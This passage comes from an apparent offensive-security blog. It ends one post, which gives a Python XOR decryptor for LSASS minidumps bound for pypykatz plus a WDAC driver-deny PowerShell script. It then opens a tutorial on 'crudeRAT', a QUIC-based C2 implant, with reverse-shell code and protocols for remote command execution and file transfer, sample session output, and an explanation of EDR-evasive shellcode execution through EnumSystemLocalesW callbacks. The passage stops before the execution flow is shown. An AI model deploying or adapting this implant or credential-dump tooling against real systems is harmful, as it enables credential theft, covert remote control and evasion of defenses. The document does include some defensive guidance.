<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">sys</span>

<span class="k">def</span> <span class="nf">xor_decrypt</span><span class="p">(</span><span class="n">input_path</span><span class="p">,</span> <span class="n">output_path</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="mh">0x55</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] Reading encrypted dump: </span><span class="si">{</span><span class="n">input_path</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">input_path</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="n">encrypted_data</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>

        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] Decrypting </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">encrypted_data</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes...</span><span class="sh">"</span><span class="p">)</span>
        <span class="c1"># Perform XOR operation on every byte
</span>        <span class="n">decrypted_data</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">([</span><span class="n">b</span> <span class="o">^</span> <span class="n">key</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">encrypted_data</span><span class="p">])</span>

        <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">output_path</span><span class="p">,</span> <span class="sh">'</span><span class="s">wb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">decrypted_data</span><span class="p">)</span>

        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Success! Decrypted dump saved to: </span><span class="si">{</span><span class="n">output_path</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="c1"># Quick validation check for the Minidump header
</span>        <span class="k">if</span> <span class="n">decrypted_data</span><span class="p">[:</span><span class="mi">4</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="sh">'</span><span class="s">MDMP</span><span class="sh">'</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] Header Validation: MDMP signature found. File is ready for pypykatz.</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[!] Warning: MDMP signature not found. Check your XOR key.</span><span class="sh">"</span><span class="p">)</span>

    <span class="k">except</span> <span class="nb">FileNotFoundError</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Error: File </span><span class="sh">'</span><span class="si">{</span><span class="n">input_path</span><span class="si">}</span><span class="sh">'</span><span class="s"> not found.</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] An error occurred: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Usage: python3 decrypt_dump.py &lt;input_file&gt; &lt;output_file&gt;</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">xor_decrypt</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
</code></pre></div></div>

<h2 id="️-so-how-do-i-defend-against-this-️">🛡️ So, How do I defend against This? 🛡️</h2>

<p>First off, I need to make this point very clear.  This is using an already known vulnerable driver.  The fact this is even allowed on a fully patched, secured Windows 11 25h2 machine with all security features enabled blows my mind.  This shouldn’t even be possible in the first place.  But, then again I wouldn’t be a security researcher if I didn’t find some alternative, unexplored ways of achieving an end goal right? 😸  Since the vulnerable driver block list isn’t detecting this (because it’s a different hash?), then we are left with one option I’m aware of as far as built in options in Windows.  We can create a rule/policy using Windows Defender Application Control to block the driver from starting.  Other than that, this really should be easier to prevent. LoL.</p>

<p>Here’s a script that accomplishes this for those interested.  Be sure to revise it accordingly for your own use case:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w">
</span><span class="nv">$DenyRule</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-CIPolicyRule</span><span class="w"> </span><span class="nt">-Level</span><span class="w"> </span><span class="nx">FilePublisher</span><span class="w"> </span><span class="nt">-DriverFilePath</span><span class="w"> </span><span class="s2">"C:\users\robbi\OneDrive\Pictures\AMD.sys"</span><span class="w"> </span><span class="nt">-Fallback</span><span class="w"> </span><span class="nx">SignedVersion</span><span class="p">,</span><span class="nx">Publisher</span><span class="p">,</span><span class="nx">Hash</span><span class="w"> </span><span class="nt">-Deny</span><span class="w">

</span><span class="c"># 1. Copy the template to your Documents folder where you have full permissions</span><span class="w">
</span><span class="n">Copy-Item</span><span class="w"> </span><span class="s2">"</span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">windir</span><span class="s2">\schemas\CodeIntegrity\ExamplePolicies\AllowAll.xml"</span><span class="w"> </span><span class="nt">-Destination</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\AllowAll_Temp.xml"</span><span class="w">

</span><span class="c"># 2. Point your variable to the new, copied file location</span><span class="w">
</span><span class="nv">$AllowAllPolicy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\AllowAll_Temp.xml"</span><span class="w">

</span><span class="c"># 3. Run the merge command again using the copied template</span><span class="w">
</span><span class="n">Merge-CIPolicy</span><span class="w"> </span><span class="nt">-PolicyPaths</span><span class="w"> </span><span class="nv">$AllowAllPolicy</span><span class="w"> </span><span class="nt">-OutputFilePath</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\DenyPolicy.xml"</span><span class="w"> </span><span class="nt">-Rules</span><span class="w"> </span><span class="nv">$DenyRule</span><span class="w">

</span><span class="c"># 4. Clean up the temporary template file</span><span class="w">
</span><span class="n">Remove-Item</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\AllowAll_Temp.xml"</span><span class="w">

</span><span class="c"># 5. Change the Friendly Name safely using the native Microsoft cmdlet</span><span class="w">
</span><span class="n">Set-CIPolicyIdInfo</span><span class="w"> </span><span class="nt">-FilePath</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\DenyPolicy.xml"</span><span class="w"> </span><span class="nt">-PolicyName</span><span class="w"> </span><span class="s2">"Driver Deny Policy - AMD"</span><span class="w">

</span><span class="c"># 6. Read the unique GUID directly out of your policy XML</span><span class="w">
</span><span class="p">[</span><span class="n">xml</span><span class="p">]</span><span class="nv">$policy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Content</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\DenyPolicy.xml"</span><span class="w">
</span><span class="nv">$policyID</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$policy</span><span class="o">.</span><span class="nf">SiPolicy</span><span class="o">.</span><span class="nf">PolicyID</span><span class="w">

</span><span class="c"># 7. Re-compile the binary using the exact string formatting Windows expects</span><span class="w">
</span><span class="nv">$correctName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="nv">$policyID</span><span class="s2">.cip"</span><span class="w">
</span><span class="n">ConvertFrom-CIPolicy</span><span class="w"> </span><span class="nt">-XmlFilePath</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\DenyPolicy.xml"</span><span class="w"> </span><span class="nt">-BinaryFilePath</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\</span><span class="nv">$correctName</span><span class="s2">"</span><span class="w">

</span><span class="n">Write-Host</span><span class="w"> </span><span class="s2">"Your new file is named: </span><span class="nv">$correctName</span><span class="s2">"</span><span class="w">

</span><span class="c"># 8. Register and refresh the policy binary via the official tool path</span><span class="w">
</span><span class="n">CiTool.exe</span><span class="w"> </span><span class="nt">--update-policy</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\</span><span class="nv">$correctName</span><span class="s2">"</span><span class="w">

</span><span class="c"># 1. Remotely unregister the old policy from the Windows Kernel (replace with your GUID)</span><span class="w">
</span><span class="n">CiTool.exe</span><span class="w"> </span><span class="nt">--remove-policy</span><span class="w"> </span><span class="s2">"{31351756-3f24-4963-8380-4e7602335aae}"</span><span class="w">

</span><span class="c"># 2. Delete the old binary from your local Documents folder to prevent duplicates</span><span class="w">
</span><span class="n">Remove-Item</span><span class="w"> </span><span class="s2">"C:\Users\robbi\Documents\*.cip"</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span></code></pre></div></div>

<h2 id="-bonus-content-for-members-all-tiers-">🎁 <strong><em>Bonus Content for Members! (All Tiers)</em></strong> 🎁</h2>

<p>Additional TPwSav.sys BYOVD driver + code!  <a href="https://ko-fi.com/s/aeb093ef9e">TPwSav.sys Source Code on Ko-fi</a></p>

<p><img width="678" height="291" alt="image" src="https://github.com/user-attachments/assets/3dd53e0b-8f62-41c7-8745-1fd1174cf04e" /></p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><a href="https://app.any.run/tasks/70110313-16cd-4ec8-9719-c1624538c067">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="BYOVD" /><category term="LSASS" /><category term="PPL" /><category term="XOR" /><category term="BYOVD" /><category term="EDR Bypass" /><category term="2026" /><category term="g3tsyst3m" /><summary type="html"><![CDATA[I still remember when Mimikatz dropped in 2011. It was a wild time in offensive security, and a period where a single tool could expose fundamental weaknesses in Windows credential handling and force the entire ecosystem to level up. Features like Protected Process Light (PPL), hardened LSASS protections, and vastly improved ETW telemetry didn’t emerge in a vacuum; they were, in part, Microsoft’s response to researchers openly demonstrating just how broken things were. It was an era defined by deep technical curiosity and creative problem-solving on both sides of the fence, and this was long before AI entered the chat.]]></summary></entry><entry><title type="html">Building an Encrypted C2 Implant Using QUIC</title><link href="https://g3tsyst3m.com/encrypted%20shell/Building-an-Encrypted-C2-Implant-Using-QUIC/" rel="alternate" type="text/html" title="Building an Encrypted C2 Implant Using QUIC" /><published>2026-04-30T00:00:00+00:00</published><updated>2026-04-30T00:00:00+00:00</updated><id>https://g3tsyst3m.com/encrypted%20shell/Building%20an%20Encrypted%20C2%20Implant%20Using%20QUIC</id><content type="html" xml:base="https://g3tsyst3m.com/encrypted%20shell/Building-an-Encrypted-C2-Implant-Using-QUIC/"><![CDATA[<p>Hey everyone! If you’ve been following the blog for a while, you’ll likely recall my python driven C2 series.  Today we’re doing something a little different. We’re going to ditch TCP sockets entirely and build a C2 implant that communicates over <strong>QUIC</strong>.  QUIC is an encrypted transport protocol that runs over UDP. If you’ve never heard of QUIC, buckle up, because it’s genuinely cool and increasingly relevant from an offensive security perspective. Let’s get into it!</p>

<hr />

<h2 id="what-even-is-quic"><strong><em>What even is QUIC?</em></strong></h2>

<p>QUIC (Quick UDP Internet Connections) was originally developed by Google and is now an IETF standard (RFC 9000). It’s the transport layer underneath HTTP/3. Here’s why it matters to us:</p>

<ul>
  <li><strong>Encrypted by default</strong>: TLS 1.3 is baked in. There’s no plaintext QUIC. Every connection is encrypted from the first packet.</li>
  <li><strong>Runs over UDP</strong>: Many network monitoring tools and IDS signatures are tuned heavily for TCP. QUIC gives us a different traffic profile. 😸</li>
  <li><strong>Multiplexed streams</strong>: You get multiple independent streams over a single connection without head-of-line blocking.</li>
  <li><strong>Connection migration</strong>: The connection can survive IP address changes. Very Handy.</li>
  <li><strong>ALPN negotiation</strong>: Application Layer Protocol Negotiation lets you define your own protocol identifier. We’re using <code class="language-plaintext highlighter-rouge">"g3tsyst3m"</code> as our ALPN string.  This means our traffic identifies itself as something custom rather than standard HTTP.</li>
</ul>

<p>From a C2 perspective, <code class="language-plaintext highlighter-rouge">QUIC</code> gives you an encrypted, UDP-based channel that doesn’t look like a typical reverse shell. That’s a good starting point for researching an encrypted, reverse shell implant.</p>

<p>We’ll be using the excellent <code class="language-plaintext highlighter-rouge">aioquic</code> and <code class="language-plaintext highlighter-rouge">tqdm</code> libraries, which gives us a full async QUIC implementation in Python + a cool progress bar for file uploads/downloads 😸. Install it with:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install aioquic tqdm
</code></pre></div></div>

<hr />

<h2 id="meet-our-cruderat"><strong><em>Meet our crudeRAT</em></strong></h2>

<p>I’m calling our implant <strong>crudeRAT</strong> because it’s just a commandline driven, very rudimentary RAT type connector/implant 🐭</p>

<p><strong>Here’s what it can do:</strong></p>

<ul>
  <li>Encrypted reverse shell over QUIC (UDP/4433)</li>
  <li>Execution of commands just by typing them: <code class="language-plaintext highlighter-rouge">net user</code>, <code class="language-plaintext highlighter-rouge">whoami</code>, etc</li>
  <li>File upload to the implant (<code class="language-plaintext highlighter-rouge">send</code>) with tqdm progress bar</li>
  <li>File download from the implant (<code class="language-plaintext highlighter-rouge">recv</code>)</li>
  <li>Shellcode execution via <code class="language-plaintext highlighter-rouge">EnumSystemLocalesW</code> callback using hex</li>
  <li>Keep-alive PING to maintain the connection</li>
</ul>

<p>Let’s walk through the architecture before we get to the code.</p>

<hr />

<h2 id="architecture-overview"><strong><em>Architecture Overview</em></strong></h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Attacker Linux Box (or Windows)]          [Windows Target]
  quicsvr3.py          ←→      quiccli3.py
  (C2 Server)        QUIC/UDP   (QuicRAT Implant)
  port 4433
</code></pre></div></div>

<p>The server runs on your attacker box. The implant runs on the target, connects back, and opens a bidirectional QUIC stream. All traffic is TLS 1.3 encrypted. The implant doesn’t verify the server cert (since we’re self-signed), but the encryption is still fully in place.</p>

<blockquote>
  <p>Quick Wireshark Snapshot at the onset of the first connected client</p>
</blockquote>

<p><img width="1356" height="757" alt="image" src="https://github.com/user-attachments/assets/1e278909-c20f-4a04-9a9a-eca2a3b4fde9" /></p>

<blockquote>
  <p>Server</p>
</blockquote>

<p><img width="855" height="321" alt="image" src="https://github.com/user-attachments/assets/eba5a3c7-6ad6-4073-9641-989470c38a77" /></p>

<blockquote>
  <p>Client</p>
</blockquote>

<p><img width="1477" height="539" alt="image" src="https://github.com/user-attachments/assets/f5e2bc70-72c9-4023-8349-d3876f7b0006" /></p>

<hr />

<p><strong>For the code samples I’ll be using today, I plan to just pull from snippits of the full code I think are helpful to better understand.  I’ll share the full source code at the end of the post!</strong></p>

<h2 id="the-cruderat-implant-quiccli3py"><strong><em>The crudeRAT Implant (quiccli3.py)</em></strong></h2>

<p>Let’s start with the implant. The core class is <code class="language-plaintext highlighter-rouge">ImplantProtocol</code>, which extends <code class="language-plaintext highlighter-rouge">QuicConnectionProtocol</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">ImplantProtocol</span><span class="p">(</span><span class="n">QuicConnectionProtocol</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
        <span class="nf">super</span><span class="p">().</span><span class="nf">__init__</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_file</span>    <span class="o">=</span> <span class="bp">None</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_path</span>    <span class="o">=</span> <span class="bp">None</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_expect</span>  <span class="o">=</span> <span class="mi">0</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_recvd</span>   <span class="o">=</span> <span class="mi">0</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_sid</span>     <span class="o">=</span> <span class="bp">None</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_downloading</span>    <span class="o">=</span> <span class="bp">False</span>
</code></pre></div></div>

<p>The upload state variables are important.  When we’re in the middle of receiving a file, raw binary data arrives across multiple <code class="language-plaintext highlighter-rouge">StreamDataReceived</code> events. We need to track how much we’ve received vs. how much we expect, and feed it all into an open file handle until we’re done.</p>

<h3 id="command-dispatch">Command Dispatch</h3>

<p>Everything flows through <code class="language-plaintext highlighter-rouge">quic_event_received</code>. The first thing we do when data arrives is check whether we’re mid-upload.  If so, we skip the command parser entirely and feed bytes straight to the file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="n">_upload_file</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
    <span class="n">remaining</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">_upload_expect</span> <span class="o">-</span> <span class="n">self</span><span class="p">.</span><span class="n">_upload_recvd</span>
    <span class="n">chunk</span> <span class="o">=</span> <span class="n">raw</span><span class="p">[:</span><span class="n">remaining</span><span class="p">]</span>
    <span class="n">self</span><span class="p">.</span><span class="n">_upload_file</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
    <span class="n">self</span><span class="p">.</span><span class="n">_upload_recvd</span> <span class="o">+=</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="n">_upload_recvd</span> <span class="o">&gt;=</span> <span class="n">self</span><span class="p">.</span><span class="n">_upload_expect</span><span class="p">:</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_file</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>
        <span class="n">self</span><span class="p">.</span><span class="n">_upload_file</span> <span class="o">=</span> <span class="bp">None</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">_send</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">_upload_sid</span><span class="p">,</span> <span class="sh">"</span><span class="s">File successfully uploaded!</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span>
</code></pre></div></div>

<p>Otherwise we decode the data as a UTF-8 command string and dispatch it:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cmd</span> <span class="o">=</span> <span class="n">raw</span><span class="p">.</span><span class="nf">decode</span><span class="p">(</span><span class="sh">'</span><span class="s">utf-8</span><span class="sh">'</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="sh">'</span><span class="s">ignore</span><span class="sh">'</span><span class="p">).</span><span class="nf">strip</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="file-upload-protocol">File Upload Protocol</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>C2] Command&gt; send C:<span class="se">\U</span>sers<span class="se">\r</span>obbi<span class="se">\D</span>ocuments<span class="se">\v</span>total_hash.txt vtotal.txt
<span class="o">[</span>C2] Sending 64 bytes...
Uploading vtotal.txt: 100%|█████████████████████████████████████████████████████████| 64.0/64.0 <span class="o">[</span>00:00&lt;00:00, 23.3kB/s]

<span class="o">[</span>C2] File successfully uploaded!
</code></pre></div></div>

<p>The upload sequence is modeled after my original Python c2 series but adapted for <code class="language-plaintext highlighter-rouge">QUIC</code>.  Essentially, the server sends a framed header first, the implant acks ready, then raw binary flows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server  → ":upload:|&lt;filename&gt;|&lt;filesize&gt;"
implant → "***Ready for upload***"
server  → raw binary (4096-byte chunks)
implant → "File successfully uploaded!"
</code></pre></div></div>

<p>We use <code class="language-plaintext highlighter-rouge">|</code> as the field separator instead of <code class="language-plaintext highlighter-rouge">:</code> because Windows paths contain colons (<code class="language-plaintext highlighter-rouge">C:\...</code>) and that caused all kinds of fun <code class="language-plaintext highlighter-rouge">ValueError</code> exceptions earlier in development 😄</p>

<p>Uploaded files land in <code class="language-plaintext highlighter-rouge">C:\users\public\uploads\</code> on the target by default.</p>

<h3 id="file-download-protocol">File Download Protocol</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>C2] Command&gt; recv C:<span class="se">\U</span>sers<span class="se">\r</span>obbi<span class="se">\D</span>ocuments<span class="se">\v</span>total_hash.txt c:<span class="se">\u</span>sers<span class="se">\p</span>ublic<span class="se">\v</span>total.txt
<span class="o">[</span>C2] Receiving 64 bytes -&gt; c:<span class="se">\u</span>sers<span class="se">\p</span>ublic<span class="se">\v</span>total.txt
<span class="o">[</span>C2] Downloading vtotal.txt: 100%
<span class="o">[</span>C2] Download <span class="nb">complete</span>: c:<span class="se">\u</span>sers<span class="se">\p</span>ublic<span class="se">\v</span>total.txt <span class="o">(</span>64 bytes<span class="o">)</span>

<span class="o">[</span>+] File successfully downloaded! Saved to c:<span class="se">\u</span>sers<span class="se">\p</span>ublic<span class="se">\v</span>total.txt <span class="o">(</span>64 bytes<span class="o">)</span>
</code></pre></div></div>

<p>Downloading files is just as easy and we once again borrow from how I did this in the original Python c2 series.  We use the ‘recv’ command to initiate a download of a file(s):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server  → "~download~|&lt;filepath&gt;"
implant → "&lt;filesize&gt;" (plain int string)
implant → raw binary data (4096-byte chunks)
</code></pre></div></div>

<p>The implant sends the filesize first so the server knows when to stop reading. Then it just streams the file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">filesize</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">getsize</span><span class="p">(</span><span class="n">filepath</span><span class="p">)</span>
<span class="n">self</span><span class="p">.</span><span class="nf">_send</span><span class="p">(</span><span class="n">sid</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">filesize</span><span class="p">))</span>
<span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>

<span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">filepath</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">chunk</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">chunk</span><span class="p">:</span>
            <span class="k">break</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">_send</span><span class="p">(</span><span class="n">sid</span><span class="p">,</span> <span class="n">chunk</span><span class="p">)</span>
        <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>  <span class="c1"># yield to event loop
</span></code></pre></div></div>

<h3 id="executing-commands">Executing Commands</h3>

<p>Executing commands is incredibly straight forward.  Just pretend you are in a shell and type whatever command you like!  Here’s a few I tested out:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span> <span class="nb">whoami</span>

<span class="kd">g3tsyst3m</span><span class="na">-pc</span>\robbi

<span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span> <span class="nb">net</span> <span class="kd">user</span>

<span class="kd">User</span> <span class="kd">accounts</span> <span class="k">for</span> \\G3TSYST3M<span class="na">-PC

</span><span class="o">-------------------------------------------------------------------------------</span>
<span class="kd">Administrator</span>            <span class="kd">DefaultAccount</span>           <span class="kd">Guest</span>
<span class="kd">robbi</span>                    <span class="kd">testuser</span>                 <span class="kd">WDAGUtilityAccount</span>
<span class="kd">WsiAccount</span>
<span class="kd">The</span> <span class="kd">command</span> <span class="kd">completed</span> <span class="kd">successfully</span>.

<span class="kd">You</span> <span class="kd">can</span> <span class="kd">use</span> <span class="nb">cd</span> <span class="kd">c</span>:\ <span class="kd">to</span> <span class="kd">go</span> <span class="kd">to</span> <span class="kd">the</span> <span class="kd">root</span> <span class="kd">directory</span><span class="o">,</span> <span class="kd">or</span> <span class="kd">even</span> <span class="nb">cd</span> .. <span class="kd">like</span> <span class="kd">so</span>:

<span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span> <span class="nb">cd</span> <span class="kd">c</span>:\

<span class="kd">Changed</span> <span class="kd">directory</span> <span class="kd">to</span> <span class="kd">c</span>:\

<span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span> <span class="nb">cd</span>

<span class="kd">c</span>:\

<span class="kd">You</span> <span class="kd">can</span> <span class="kd">also</span> <span class="kd">view</span> <span class="kd">the</span> <span class="kd">very</span> <span class="kd">basic</span> <span class="nb">help</span> <span class="kd">menu</span> <span class="kd">by</span> <span class="kd">typing</span> <span class="sb">`help`</span>

<span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span> <span class="nb">help</span>

  <span class="o">&lt;</span><span class="kd">shell</span> <span class="nb">cmd</span><span class="o">&gt;</span>                    <span class="kd">Run</span> <span class="kd">a</span> <span class="kd">shell</span> <span class="kd">command</span> <span class="na">on</span> <span class="kd">the</span> <span class="kd">implant</span>
  <span class="nb">cd</span> <span class="o">&lt;</span><span class="nb">path</span><span class="o">&gt;</span>                      <span class="kd">Change</span> <span class="kd">implant</span> <span class="kd">working</span> <span class="kd">directory</span>
  <span class="kd">send</span> <span class="o">&lt;</span><span class="kd">local</span><span class="o">&gt;</span> <span class="o">&lt;</span><span class="kd">remote</span><span class="o">&gt;</span>          <span class="kd">Upload</span> <span class="kd">file</span> <span class="kd">to</span> <span class="kd">implant</span>   <span class="o">(</span><span class="kd">raw</span> <span class="kd">binary</span><span class="o">,</span> <span class="kd">tqdm</span> <span class="kd">progress</span><span class="o">)</span>
  <span class="kd">recv</span> <span class="o">&lt;</span><span class="kd">remote</span><span class="o">&gt;</span> <span class="o">&lt;</span><span class="kd">local</span><span class="o">&gt;</span>          <span class="kd">Download</span> <span class="kd">file</span> <span class="kd">from</span> <span class="kd">implant</span> <span class="o">(</span><span class="kd">raw</span> <span class="kd">binary</span><span class="o">)</span>
  <span class="kd">send_shellcode</span> <span class="o">&lt;</span><span class="kd">hex</span><span class="o">&gt;</span>           <span class="kd">Execute</span> <span class="kd">shellcode</span> <span class="na">on</span> <span class="kd">the</span> <span class="kd">implant</span>
  <span class="k">exit</span>                           <span class="kd">Shut</span> <span class="kd">down</span> <span class="kd">the</span> <span class="kd">C2</span>

<span class="o">[</span><span class="kd">C2</span><span class="o">]</span> <span class="kd">Command</span><span class="o">&gt;</span>
</code></pre></div></div>

<h3 id="shellcode-execution">Shellcode Execution</h3>

<p>Alright, let’s talk about the fun part 😸 For shellcode execution we use <code class="language-plaintext highlighter-rouge">EnumSystemLocalesW</code> as our callback trigger.  It’s worth understanding <em>why</em> we pick this over the more obvious approaches.</p>

<p>The traditional approach to shellcode execution in Python is to call <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, copy your shellcode in, cast the address to a function pointer, and call it directly. That works, but it’s also extremely well-signatured. EDRs have seen that pattern and then some lol. The callback technique is a way to have Windows call your shellcode <em>for you</em> through a legitimate API, which can look a lot cleaner from a behavioral analysis standpoint.</p>

<p><code class="language-plaintext highlighter-rouge">EnumSystemLocalesW</code> is a Win32 API that enumerates all installed system locales on the machine. It takes a callback function pointer and calls it once per locale. From our perspective, we don’t care about locales, we just need a API that accepts a function pointer and invokes it. There are many others in this family (<code class="language-plaintext highlighter-rouge">EnumWindows</code>, <code class="language-plaintext highlighter-rouge">EnumChildWindows</code>, <code class="language-plaintext highlighter-rouge">EnumThreadWindows</code>, <code class="language-plaintext highlighter-rouge">EnumDesktopWindows</code>…) and they all work on the same principle.</p>

<p><strong>Here’s the full execution flow:</strong></p>

